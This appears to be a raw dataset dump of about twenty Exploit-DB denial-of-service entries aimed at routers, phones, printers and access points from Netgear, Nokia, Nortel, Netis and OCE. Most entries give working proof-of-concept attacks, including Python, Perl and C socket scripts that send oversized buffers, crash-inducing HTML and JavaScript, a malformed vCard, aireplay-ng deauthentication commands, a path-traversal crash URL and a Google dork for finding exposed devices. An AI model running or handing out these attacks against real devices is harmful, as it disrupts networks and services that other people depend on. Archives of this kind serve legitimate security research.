deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8008
Description: Netgear SSL312 Router - Denial of Service
Type: dos
Platform: hardware
Date: 2009-02-09
Author: Rembrandt

Exploit:
                     _   _ _____ _     ___ _____ _   _
                   / / / / ____/ /   /  _/_  __/ / / /
                  / /_/ / __/ / /    / /  / / / /_/ /
                 / __  / /___/ /____/ /  / / / __  /
                /_/ /_/_____/_____/___/ /_/ /_/ /_/
                           Helith - 0815
--------------------------------------------------------------------------------

Author		 : Rembrandt
Date		 : 2008-02-27
Affected Software: propietary CGI
Affected OS	 : Netgear embedded Linux for the SSL312 router
		   Propably other devices are affected as well
Type		 : Denial of Service

OSVDB		 : 
Milw0rm		 : 8008
CVE		 : 
ISS X-Force:	 : 
BID		 : 33675


Trying to fix it responsible and get in contact with the vendor:

-- ZDI --
Case Opened  	2008-12-28 07:57 GMT-6
Case Closed 	2009-01-15 17:01 GMT-6

"After some deliberation we have unfortunately decided that we won't be
accepting bugs affecting NetGear products."
-- END --

Contacting Netgear and mitre.org: 2009-02-01 12:25 GTM+1
No reaction, release		: 2009-02-06 23:59 GTM+1

Netgear VPN router SSL312 is proune to a remote DoS condition which can get
triggered if somebody has access to the webinterface of the VPN router.
The problem is related to a propietary CGI binary and makes is impossible
for users to patch the router. Further in detail analyses will show several
other issues like outdated third party software (e.g. the webserver) and further
problems in the cgi-binary itself which won't get disclosed here.

If you download the source code the affected binary can be found at:
./NG_SSL312-GPL/uClinux/uC-src/real/EasyAccess/EasyAccess/www/cgi-bin/single_cgi


Steps to reproduce:

Visit the Netgear SSL312 VPN router webinterface.
You will see a login field and a password field.
Just enter any random data and proceed.

The URL will include a path like:
https://xxx.xxx.xxx.xxx/cgi-bin/welcome/VPN_only?err=VXNlciBMb2dpbiBGYWlsZWQ=

If you modify the URL as below and resend your http request the device will
crash and needs a hard reboot.

https://xxx.xxx.xxx.xxx/cgi-bin/welcome/VPN_only?../../../../../

Example network affected by this: StudiVZ

Simple google dork:
intitle:SSL-VPN intext:password inurl:/cgi-bin/welcome

Workaround:
Preventing others to gain access to the webinterface of the router prevents
the attack.

Kind regards,
Rembrandt

# milw0rm.com [2009-02-09]
Exploit-DB #32583
Description: Netgear WGR614 - Administration Interface Remote Denial of Service
Type: dos
Platform: hardware
Date: 2008-11-13
Author: sr.

Exploit:
source: https://www.securityfocus.com/bid/32290/info

NETGEAR WGR614 is prone to a denial-of-service vulnerability that occurs in the administration web interface.

Successful exploits will cause the affected web interface to crash, denying service to legitimate users.

http://www.example.com/?
Exploit-DB #8106
Description: Netgear WGR614v9 Wireless Router - Denial of Service
Type: dos
Platform: hardware
Date: 2009-02-25
Author: staticrez

Exploit:
LUNOSEC ADVISORY

Synopsis: Denial of Service condition in Netgear's WGR614v9 Wireless Router

Firmware version tested: v1.2.2_14.0.13NA (LATEST)
Firmware version tested: WNR834Bv2 v2.0.8_2.0.8 # GTADarkDude tested

Proof of Concept:

Appending a question mark to the router's internal IP address after
the forward slash. e.g., http://192.168.1.1/? results in a denial of
service condition where the http server dies and the administrative
interface is no longer available until after a device reboot.

found: fabrizio siciliano (staticrez)

# milw0rm.com [2009-02-25]
Exploit-DB #45424
Description: Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2018-09-17
Author: cakes

Exploit:
# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)
# Author: Cakes
# Discovery Date: 2018-09-16
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Home/detail/id/74.html
# Tested Version: RTK 2.1.1
# Tested on OS: Kali Linux
# CVE: N/A

# Description
# The FTP service is vulnerable to a Denial of Service attack. Attackers simply need to log
# into the router and send and valid FTP command with a character offset of 1461 as the command input

import socket 

evil = '\x41'*1461

print "\n[*] Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)"
print "\r[i] Creating socket"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\r[i] Connecting..."
connect = s.connect(('192.168.1.1',21))
s.recv(1024)

try:
	s.send('USER guest\r\n')
	s.recv(1024)
	s.send('PASS guest\r\n')
	s.recv(1024)
	print "\r[+] Connected"
except:
	print "\r[!] Credentials aren't working. Please change if none default"
	
print "\r[+] Sending Payload"

try:
	s.send('ABOR %s' % (evil))
	print "\r[+] Payload sent"
	print "\r[+] Router offline"
except:
	print "\r[!] Something went wrong"
	
s.close()
Exploit-DB #25736
Description: Nokia 9500 - vCard Viewer Remote Denial of Service
Type: dos
Platform: hardware
Date: 2005-05-26
Author: Marek Bialoglowy

Exploit:
source: https://www.securityfocus.com/bid/13784/info

Nokia 9500 handset vCard viewer is affected by a remote denial of service vulnerability.

This issue presents itself when the device handles a malformed vCard and fails to perform boundary checks prior to copying user-supplied data into a finite sized buffer.

Successful exploitation of this issue requires user interaction as a user is asked to accept the vCard followed by manually opening it. 

The following proof of concept vCard is available:
--- Nokia9500.vcf ---
BEGIN:VCARD
VERSION:2.1
N:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;BIALOGLOWY
FN:Marek Bialoglowy
ORG:INDEPENDENT
TITLE:COO
TEL;WORK;VOICE:+6221
TEL;WORK;FAX;
ADR;WORK;ENCODING=QUOTED-PRINTABLE:;;Indonesia
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:Indonesia
URL;WORK;
EMAIL;PREF;INTERNET:bialoglowy@gmail.com
REV:20050430T1958490
END:VCARD
--- Nokia9500.vcf ---
Exploit-DB #6459
Description: Nokia e90/n82 (s60v3) - Remote Denial of Service
Type: dos
Platform: hardware
Date: 2008-09-14
Author: wins.mallow

Exploit:
Nokia E90 and probably other devices with s60v3 crashes with aireplay

The device should be authorised on an access point

sample: aireplay-ng -0 10 -a 00:74:3B:0C:A0:5A -c 00:2A:29:F3:1F:42 wlan0

My HW:

AP= Acorp w422g

Nokia E90 v 07.40.1.2 Ra-6

For attack realisation is necessary to send DeAuth a package on the attacked
device (to throw out it from an access point), then to continue to send
packages on the device.

the Device is crashed off right after repeated authorisation on an access
point

Vulnerability is fast shown at activity on WLAN

WLAN Settings: auto

I specify a harmful code: ./aireplay-ng -x 1024 -0 230 -a $ap -c $target
$iface

Added: the vulnerable device: Nokia N82

# milw0rm.com [2008-09-14]
Exploit-DB #8013
Description: Nokia N95-8 - '.jpg' Remote Crash (PoC)
Type: dos
Platform: hardware
Date: 2009-02-09
Author: Juan Yacubian

Exploit:
Application: Nokia N95-8
OS: Symbian
------------------------------------------------------
1 - Description
2 - Vulnerability
3 - POC/EXPLOIT

------------------------------------------------------
Description


The nokia n95 is a smartphone, this phone have more tools, for example:
gps,mp3,camera,wireless.

 :) 

------------------------------------------------------
Vulnerability

The vulnerability is caused when opening a specially modified jpg file.
This bug cause crash in the browser or in the aplication with that is open
example "image editor" or Multimedia Messaging System.

------------------------------------------------------
POC/EXPLOIT

you can open this url with the browser or send mms with this image.

http://es.geocities.com/jplopezy/nokiacrash.jpg
alt: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8013.jpg (2009-nokiacrash.jpg)

------------------------------------------------------
Juan Pablo Lopez Yacubian

# milw0rm.com [2009-02-09]
Exploit-DB #8051
Description: Nokia N95-8 browser - 'setAttributeNode' Method Crash
Type: dos
Platform: hardware
Date: 2009-02-13
Author: Juan Yacubian

Exploit:
Application: Nokia N95-8
OS: Symbian
------------------------------------------------------
1 - Description
2 - Vulnerability
3 - POC/EXPLOIT

------------------------------------------------------
Description

The nokia n95 is a smartphone, this phone have more tools, for example: gps,mp3,camera,wireless.

 :) 

------------------------------------------------------
Vulnerability

The vulnerability is caused when the browser, opened a web with javaScript code. This cause that page crash.

The error is in the method "setAttributeNode", because the bad implement is the cause of bug.

------------------------------------------------------
POC/EXPLOIT

Enter in this url

http://es.geocities.com/jplopezy/nokiacrash2.html


or make html file and insert this code

<input type='checkbox' id='c'>
<script>
r=document.getElementById('c');
a=r.setAttributeNode();
</script>

------------------------------------------------------
Juan Pablo Lopez Yacubian 

# milw0rm.com [2009-02-13]
Exploit-DB #16945
Description: Nokia N97 - '.m3u' Playlist Crash (PoC)
Type: dos
Platform: hardware
Date: 2011-03-08
Author: KedAns-Dz

Exploit:
#!/usr/bin/perl

###
# Title : Nokia N97 (PlayList M3U) Crash PoC
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria [PII_REDACTED]8701)
# Twitter page : twitter.com/kedans
# platform : hardware 
# Impact : Crashs & Reboot (Some Times Rebooted )
# Tested on : Nokia N97 v 22.0.110 ( Type RM-505)
# Target :  N97 Mobile
###
# Note : BAC 2011 Enchallah ( Me & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )
###
# Usage : Run the (Gestionn de Fichiers)  And Open The (m3u) File with 'Lect.Audio'
#        ==> The (Gestionn de Fichiers) and ( Lect.Audio) is Blocked And Crashed !! 
###
# ------------
#START SYSTEM /root@MSdos/ :
system("title KedAns-Dz");
system("color 1e");
system("cls");
print "\n\n";            
print "    |===========================================================|\n";
print "    |= [!] Name : Nokia N97 (PlayList M3U) vApp 22.0.11        =|\n";
print "    |= [!] Exploit : Local Crash PoC                           =|\n";
print "    |= [!] Author : KedAns-Dz                                  =|\n";
print "    |= [!] Mail: Ked-h(at)hotmail(dot)com                      =|\n";
print "    |===========================================================|\n";
sleep(2);
print "\n";
my $file = "n97.m3u";
my $Header = "#M3U\n"; # Header Format M3U 
my $ccq = "\x4d\x75\x73\x69\x63\x5c"; # Stock32Gb:\...\Music\  << you are can change this 
my $junk = "\x41" x 100000 ; # Junk
my $nop = "\x90" x 55 ; # !| Nop |! x 55 
open($FILE,">$file");
print $FILE $Header.$ccq.$junk.$nop ; # Evil File
close($FILE) ;
print "\n[!] Creating $file file...\n";
print "\n[+] File successfully created!\n";

#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================
# GreetZ to : Islampard * Dr.Ride * Zaki.Eng * BadR0 * NoRo FouinY * Red1One
# XoreR * Mr.Dak007 * Hani * TOnyXED * Fox-Dz * Massinhou-Dz ++ all my friends ;
# > Algerians <  [D] HaCkerS-StreeT-Team [Z] > Hackers <
# My Friends on Facebook : Nayla Festa * Dz_GadlOl * MatmouR13 ...all Others
# 4nahdha.com : TitO (Dr.Ride) *  MEN_dz * Mr.LAK (Administrator) * all members ...
# sec4ever.com members Dz : =>>
#  Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz ... all Others
# hotturks.org : TeX * KadaVra ... all Others
# Kelvin.Xgr ( kelvinx.net)
#===========================================================================
Exploit-DB #856
Description: Nokia Symbian 60 - 'BlueTooth Nickname' Remote Restart (2)
Type: dos
Platform: hardware
Date: 2005-09-23
Author: Qnix

Exploit:
/*
      Nokia Bluetab Exploit 
      Found & coded by Qnix
 
 - This Exploit will creat file called bluetab.txt with your 
   bluetooth nickname, send the file to your nokia mobile
   open it copy the nickname and paste it to your bluetooth
   nickname, if any one search and find your nickname his
   mobile will restart .
 - this exploit work on many other symbian and java mobiles .

   Qnix - Qnix@bsdmail.org

*/

#include <stdio.h>
#define  tab1 0x09
#define  tab2 0x2E
#define  dot1 0x0A

int main(int argc,char *argv[])
{

 FILE *bluetab;

 if(argc < 2)
 { 
   msgm();
   printf("Useage : ./bluetab <nickname>\n");
   return 0;
 } 
 else
 { 
   msgm();
   printf("bluetab.txt file created with your nickname . \n");
 }
 
 bluetab = fopen("bluetab.txt","w");
 if(!bluetab)
 {
   msgm();  
   printf("Some kind of file error!\n");
   return 0;
 }

 
 fprintf(bluetab,"%s%c%c%c",argv[1],tab1,tab2,dot1); 
 fclose(bluetab);
 return 0;
 
}

msgm()
{

  printf(" ------------------------------- \n");
  printf("     Nokia Bluetab Exploit       \n");
  printf("       found & coded by          \n");
  printf("       Qnix@bsdmail.org          \n");
  printf(" ------------------------------- \n\n");
}

/* v1 2005-03-04 milw0rm.com */

// milw0rm.com [2005-09-23]
Exploit-DB #2176
Description: Nokia Symbian 60 3rd Edition - Browser Crash (Denial of Service)
Type: dos
Platform: hardware
Date: 2006-08-13
Author: Qode

Exploit:
<!--

Nokia Browser Crash by Qode

http://www.qode.org

-->

<html><body><script>

function crash()

               {

               alert('Nokia Browser Crash by Qode');

               shellcode = unescape('%ucccc');

               fill = unescape('%ucccc');

               addr = 0x02020202;

               var b = fill;

               while (b.length <= 0x400000) b+=b;

               }

</script>

Nokia Browser Crash by Qode<br>

<input type='button' onClick='crash()' value='Crash'>

</body></html>

# milw0rm.com [2006-08-13]
Exploit-DB #32472
Description: Nokia Web Browser for S60 - Infinite Array Sort Denial of Service
Type: dos
Platform: hardware
Date: 2008-10-10
Author: Luca Carettoni

Exploit:
source: https://www.securityfocus.com/bid/31703/info

Nokia Web Browser for S60 is prone to a denial-of-service vulnerability when handling malicious HTML files.

A successful exploit of this issue allows remote attackers to consume excessive system resources in the affected browser, which will cause the application to crash and deny service to legitimate users. Attackers may also be able to run arbitrary code, but this has not been confirmed. 

<script> foo = new Array(); while(true) {foo = new Array(foo).sort();} </script>
Exploit-DB #19766
Description: Nortel Networks Nautica Marlin - Denial of Service
Type: dos
Platform: hardware
Date: 2000-02-25
Author: Christophe GRENIER

Exploit:
source: https://www.securityfocus.com/bid/1009/info

A vulnerability exists in the Nortel/Bay Networks Nautica Marlin router pruduct. Sending a 0 byte UDP packet to port 161 (SNMP) to one of these routers will cause it to crash. This attack can be trivially performed using NMAP or other UDP port scanner.

nmap -sU -p 161 hosttodos
Exploit-DB #31306
Description: Nortel UNIStim IP Phone - Remote Ping Denial of Service
Type: dos
Platform: hardware
Date: 2008-02-26
Author: sipherr

Exploit:
source: https://www.securityfocus.com/bid/28004/info

Nortel UNIStim IP Phone products are prone to a remote denial-of-service vulnerability because the software fails to properly handle unexpected network datagrams.

Successfully exploiting this issue allows remote attackers to crash affected phones, denying service to legitimate users.

Phones with firmware 0604DAS are vulnerable to this issue. Other versions are also reportedly affected, but we don't know which specific versions. 

The following command will demonstrate this issue:

ping -s 65500 <target>
Exploit-DB #23786
Description: Nortel Wireless LAN Access Point 2200 Series - Denial of Service
Type: dos
Platform: hardware
Date: 2004-03-02
Author: Alex Hernandez

Exploit:
// source: https://www.securityfocus.com/bid/9787/info

Nortel Wireless LAN Access Point 2200 series appliances have been reported to be prone to a remote denial of service vulnerability. The issue is reported to present itself when a large network request is handled by one of the Wireless LAN Access Point default administration services. This will reportedly cause the Access Point Appliance Operating service to crash, effectively denying service to legitimate users.

/* WLAN-DoS.c
 *
 * Nortel Networks Wireless LAN Access Point 2200 DoS + PoC
 * discovered by Alex Hernandez.
 *
 * Copyright (C) 2004  Alex Hernandez.
 *
 * A successful attack on a vulnerable server can cause the AP
 * (Access Point) listener to fail and crash. The port 23 (telnet)
 * functionality cannot be restored until the listener is manually restarted.
 *
 * LAN AP 2200 permits client-server communication across any network.
 * LAN enables by default the port 23 (telnet) and port (80) for administering.
 * Debugging features are enabled by default, if LAN AP encounters such a request,
 * it will crash and no longer field AP requests from authorized clients.
 *
 * Simple lame code by
 *
 * -Mark Ludwik :Germany
 *
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>

int main(int argc, char *argv[]) {
 if(argc < 3) {
  printf("\nWLAN NortelNetworks AP DoS exploit by Mark Ludwik\n\n");
  printf("Usage: WlanDoS [AP/Host] [port]\n\n");
  exit(-1);
 }

 int sock;
 char explbuf[2024];
 struct sockaddr_in dest;
 struct hostent *he;

 if((he = gethostbyname(argv[1])) == NULL) {
  printf("Couldn't resolve %s!\n", argv[1]);
  exit(-1);
 }

 if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  perror("socket()");
  exit(-1);
 }

 printf("\nWLAN NortelNetworks AP DoS exploit by Mark Ludwik\n\n");

 dest.sin_addr = *((struct in_addr *)he->h_addr);
 dest.sin_port = htons(atoi(argv[2]));
 dest.sin_family = AF_INET;

 printf("[+] Exploit buffer.\n");
 memset(explbuf, 'A', 2024);
 memcpy(explbuf+2024, "\n\n\n\n\n\n\n\n", 8);

 if(connect(sock, (struct sockaddr *)&dest, sizeof(struct sockaddr)) == -1) {
  perror("connect()");
  exit(-1);
 }

 printf("[+] Connected...\n");
 printf("[+] Sending DoS attack...!\n");

 send(sock, explbuf, strlen(explbuf), 0);
 sleep(2);
 close(sock);
 printf("\n[+] Crash was successful !\n");
 return(0);
}
Exploit-DB #1718
Description: OCE 3121/3122 Printer - 'parser.exe' Denial of Service
Type: dos
Platform: hardware
Date: 2006-04-26
Author: sh4d0wman

Exploit:
#!/usr/bin/perl
#
#OCE 3121/3122 Printer DoS Exploit
#----------------------------
#By Herman Groeneveld aka sh4d0wman
#trancelover75 [AT] gmail.com
#
#Description: the printer runs a webserver to provide various printing tasks from
#java enabled browsers. Input is being filtered for bad characters.
#However it is vulnerable to a long url request. This will either reboot or crash the device.
#
#On crash, the "system" led on the printer changes from green to orange. No further printing is done
#until somebody resets the printer by flipping the powerswitch. E675 error displayed in printer display.
#On reboot, printing resumes after the device has completed it's reboot cycle.
#
#Crash is hard to accomplish. Play with the buffer input size. 261 worked at my printer. 
#Values of 250/500/50000 are known to reboot the printer. No reliable size for crashing yet.
#
#Loop this exploit and printing will be nearly impossible. Tested: unhappy users. Not implemented. 
#
#If you test this on your device, pls let me know the result. I had just 1 printer to test it at ;)
#
#Discovered: 29/03/2006
#Target: tested against OCE 3121/3122 printer. 
#Vendor: www.oce.com (no response)

	use IO::Socket;

	if (@ARGV != 3)
	{
	print "                                        			      \n";
	print "   	#OCE 3121/3122 Printer DoS Exploit#  		      \n";
	print "---------------------------------------------------------------\n";
	print " Usage: crashoce.pl <target ip> <target port> <request length> \n";
	print " Example: new.pl 127.0.0.1 80 250 		              \n";
	print " Play with request length for reboot or crash effect. 	      \n\n";
	print "      	#Coded by sh4d0wman 31/03/2006#			      \n";
	exit(1);
	}	

	$targetip =$ARGV[0]; #user input, no much fun in attacking 127.0.0.1 is it?
	$targetport =$ARGV[1]; #user input since vendor might change this some day, unlikely though  :-)
	$reqlength = $ARGV[2]; #user input since different sizes give different results

	print "[-] OCE 3122 Printer DoS Exploit\n\n";
	print "[-] Target IP: ";
	print $targetip;
	print "\n[-] Connecting to target IP...\n";

$socket = IO::Socket::INET->new(
	Proto => "tcp",
	PeerAddr => "$targetip",
	PeerPort => "$targetport"); unless ($socket) { die "- Could not connect. Check IP & 		port. Hint: default port is 80!\n"}

print "[-] Connected to printer\n\n";

print "[-] Creating DoS request...\n";

$bufa='A'x$reqlength; #creating payload, length based on user input

print "[-] Sending request...\n\n";

print $socket "GET /parser.exe?".$bufa.".html"." HTTP/1.1\r\n\r\n";
	sleep 5; #Be advised! Printer reaction to exploit can take up to 30 sec. Pls, be patient...

print "[>]Attack completed! Printer in error state or rebooting.\n";
close($socket);

# milw0rm.com [2006-04-26]
Exploit-DB #13824
Description: Office^2 iPhone - '.XLS' Denial of Service
Type: dos
Platform: hardware
Date: 2010-06-11
Author: Matthew Bergin

Exploit:
I wrote a fuzzer "dumb fuzzer" and used a sample from http://www.ccp14.ac.uk/ccp/web-mirrors/bca-spreadsheets/scanplot101.xls  which I randomly found on the internet. I mutated the data and tested roughly 1000 cases on several Document Reader Applications for iPhone. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/13824.xls (office2_poc.xls)